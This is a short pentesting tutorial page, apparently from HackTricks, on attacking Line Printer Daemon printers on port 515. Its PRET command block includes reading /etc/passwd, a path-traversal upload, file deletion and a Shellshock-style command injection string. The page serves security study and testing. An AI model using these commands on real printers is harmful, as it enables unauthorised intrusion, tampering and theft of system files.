mirror of
https://github.com/carlospolop/hacktricks
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63 lines
4 KiB
Markdown
63 lines
4 KiB
Markdown
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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### **Introduction to LPD Protocol**
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In the 1980s, the **Line Printer Daemon (LPD) protocol** was developed in Berkeley Unix, which later became formalized through RFC1179. This protocol operates over port 515/tcp, allowing interactions through the `lpr` command. The essence of printing via LPD involves sending a **control file** (to specify job details and user) along with a **data file** (which holds the print information). While the control file allows the selection of **various file formats** for the data file, the handling of these files is determined by the specific LPD implementation. A widely recognized implementation for Unix-like systems is **LPRng**. Notably, the LPD protocol can be exploited to execute **malicious PostScript** or **PJL print jobs**.
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### **Tools for Interacting with LPD Printers**
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[**PRET**](https://github.com/RUB-NDS/PRET) introduces two essential tools, `lpdprint` and `lpdtest`, offering a straightforward method to interact with LPD-compatible printers. These tools enable a range of actions from printing data to manipulating files on the printer, such as downloading, uploading, or deleting:
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```python
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# To print a file to an LPD printer
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lpdprint.py hostname filename
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# To get a file from the printer
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lpdtest.py hostname get /etc/passwd
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# To upload a file to the printer
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lpdtest.py hostname put ../../etc/passwd
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# To remove a file from the printer
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lpdtest.py hostname rm /some/file/on/printer
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# To execute a command injection on the printer
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lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
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# To send a mail through the printer
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lpdtest.py hostname mail lpdtest@mailhost.local
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```
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For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
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# Shodan
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* `port 515`
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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